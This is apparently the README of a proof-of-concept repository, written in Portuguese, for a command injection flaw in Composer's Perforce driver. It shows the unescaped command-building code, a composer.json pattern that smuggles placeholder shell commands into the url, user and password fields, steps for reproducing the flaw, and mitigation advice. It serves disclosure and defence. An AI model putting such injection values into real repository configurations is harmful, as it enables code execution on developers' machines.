
Prova de conceito demonstrando injeção de comandos no driver Perforce do Composer (CVE-2026-40176), permitindo execução remota de código por meio de configuração de repositório manipulada.
Vulnerabilidade de Injeção de Comandos no driver de repositório Perforce do Composer, permitindo Execução Remota de Código (RCE) por meio de validação insuficiente de entrada no processamento de URLs de repositórios.
| Propriedade | Valor |
|---|
| ID CVE | CVE-2026-40176 |
| Versões Afetadas | Composer < 2.2.27 |
| Tipo de Vulnerabilidade | Injeção de Comandos |
| Vetor de Ataque | Configuração maliciosa de repositório |
| Impacto | Execução arbitrária de código |
| Pontuação CVSS | Alta/Crítica |
A vulnerabilidade existe na forma como o Composer processa quando o tipo é perforce. O parâmetro não é devidamente sanitizado antes de ser passado para comandos shell, permitindo que atacantes injetem comandos arbitrários no sistema.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
Nada disso foi escapado corretamente, permitindo que um atacante injete comandos ao criar um payload malicioso para todos os campos com o tipo perforce.
Padrão de Código Vulnerável:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
Este repositório contém uma prova de conceito funcional que demonstra a vulnerabilidade.
CVE-2026-40176/
├── composer.json # Configuração maliciosa do repositório Perforce
├── vuln-composer.phar # Composer 2.2.26 (VULNERÁVEL)
├── patched-composer.phar # Composer 2.2.27 (CORRIGIDO)
└── README.md # Este arquivo
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Saída: Composer version 2.2.26
php patched-composer.phar --version
# Saída: Composer version 2.2.27
php vuln-composer.phar install
# OU
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# O arquivo NÃO deve existir (a vulnerabilidade foi corrigida)
Atualize o Composer para a versão 2.2.27 ou posterior:
composer self-update --2.2.27
# OU
wget https://getcomposer.org/download/2.2.27/composer.phar
Revise todos os arquivos composer.json em busca de configurações de repositório desconhecidas ou suspeitas
Audite a cadeia de suprimentos - Verifique se alguma dependência referencia repositórios não confiáveis
# Verifique sua versão do Composer
composer --version
# Procure por repositórios Perforce em seus projetos
grep -r "perforce" */composer.json